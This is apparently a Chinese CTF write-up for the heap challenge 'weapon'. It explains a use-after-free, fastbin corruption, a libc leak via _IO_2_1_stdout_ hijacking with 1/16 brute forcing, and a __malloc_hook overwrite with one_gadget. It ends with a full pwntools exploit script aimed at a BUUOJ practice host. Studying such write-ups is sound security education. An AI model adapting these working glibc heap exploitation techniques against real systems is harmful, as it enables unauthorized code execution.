python 中的try except语句:
try:
正常的操作
......................
except:
发生异常,执行这块代码
......................
else:
如果没有异常执行这块代码
下面通过一个栗子来实践一下:weapon
ida分析:
main:
main.pngcreate:
1.png限制size的大小不能超过0x60并且只能申请9个
edit没什么特别的,就是根据size向原来的空间进行写入
free:
free.png很明显的UAF漏洞
idea:
因为main_arena-88的地址和stdout的地址差不多,只有后面两个字节不同,并且stdout的后面的一个半字节是固定的因此执行爆破倒数第四位就可,这里选择的就是异常爆破,还有一个注意点是不能直接申请到stdout上面需要申请到stdout附近的地址,附近有一个可利用的块,劫持到stdout时将flag的值改低,并将write_base的低字节也改低,便可以输出write_ptr和write_end之间的值,这里面可能就有我们的libc
难点在于如何劫持到stdout上面
method:
我们采用在堆块里面伪造块,具体操作是,构造一个0x40的链表,破坏链表将其指向我们伪造的堆块,并且修改size域使其落入unsortedbin中,这样就可以在fastbin上踩出main_arena的地址
operation:
first step:
new(0x10,0,p64(0)+p64(0x41)) #0
new(0x60,1,p64(0)*5+p64(0x41)) #1
new(0x30,2,"a") #2
new(0x30,3,'a') #3
new(0x30,4,"a") #4
free(1)
free(2)
free(3)
heap布局:
gdb-peda$ x/32gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000000000000000 0x0000000000000041 <---fake chunk
0x555555757020: 0x0000000000000000 0x0000000000000071
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000041 <---bypass
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000041
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000041
0x5555557570e0: 0x0000555555757090 0x0000000000000000
此时的bin:
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x5555557570d0 —▸ 0x555555757090 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757020 ◂— 0x0
0x80: 0x0
然后破坏链表,使其指向我们的fake_chunk
edit(3,p8(0x10))
修改后的链表:
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x5555557570d0 —▸ 0x555555757010 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757020 ◂— 0x0
0x80: 0x0
successful,成功指向了第一个堆块
second step:
利用unsorted bin的特性在chunk上踩出main_arena的地址:
new(0x30,3,p8(0x10))
new(0x30,2,p64(0)+p64(0x70+0x41))
free(1)
heap 布局:
gdb-peda$ x/32gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000000000000000 0x0000000000000041
0x555555757020: 0x0000000000000000 0x00000000000000b1
0x555555757030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000041
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000041
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x00000000000000b0 0x0000000000000040
0x5555557570e0: 0x0000555555757010 0x0000000000000000
bin:
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
0x80: 0x0
unsortedbin
all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
成功!
third step:
劫持__IO_2_1_stdout:
edit(2,p64(0)+p64(0x71))
edit(1,p16(0x2620-0x43))
new(0x60,1,p16(0x2620-0x43))
new(0x60,6,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))
这里我们选择是劫持到stdout的0x43处的位置,因为此处有可以利用的堆块
注意:因为我本地关闭了asrl保护因此可以很容易的知道stdout的地址也就是会100%成功劫持,但是远程不行,会有1/16的可能行因此需要爆破
可以看到已经成功的输出了一大段地址:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x87\x18�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa4&��\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00�����\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x00\x00
随便选一个就行,然后计算出偏移,偏移计算的话需要知道libc的基质然后两者进行相减便是offset具体的数值会不一样,这里就不再过多的描述了
到了这一步基本上已经结束了,接下来就是用fastbin attrack 来进行getshell,将malloc_hook写入one_gadget就ok了
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level= 'debug'
binary = 'weapwn'
elf = ELF('weapwn')
libc = elf.libc
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = "node3.buuoj.cn"
port = 29626
def new(size,idx,name):
p.sendlineafter(">> \n","1")
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def free(idx):
p.sendlineafter(">> \n","2")
p.sendlineafter("input idx :",str(idx))
def edit(idx,payload):
p.sendlineafter(">> \n","3")
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",payload)
def pwn():
new(0x10,0,p64(0)+p64(0x41))
new(0x60,1,p64(0)*5+p64(0x41))
new(0x30,2,"a")
new(0x30,3,'a')
new(0x30,4,"a")
free(1)
free(2)
free(3)
edit(3,p8(0x10))
new(0x30,3,p8(0x10))
new(0x30,2,p64(0)+p64(0x70+0x41))
free(1)
edit(2,p64(0)+p64(0x71))
edit(1,p16(0x2620-0x43))
new(0x60,1,p16(0x2620-0x43))
new(0x60,5,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c5600
malloc_hook = libc_base+0x3c4b10
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
one = o_g[3]+libc_base
print "libc_base:"+hex(libc_base)
print "malloc_hook:"+hex(malloc_hook)
new(0x60,6,"a")
new(0x60,1,"a")
free(1)
free(6)
free(1)
new(0x60,1,p64(malloc_hook-0x23))
new(0x60,1,p64(malloc_hook-0x23))
new(0x60,6,p64(malloc_hook-0x23))
new(0x60,7,0x13*'a'+p64(one))
p.sendlineafter(">> \n","1")
p.sendlineafter(": ",str(0x20))
p.sendlineafter(": ",str(8))
p.interactive()
while True:
p = process(binary)
try:
pwn()
except:
p.close()
网友评论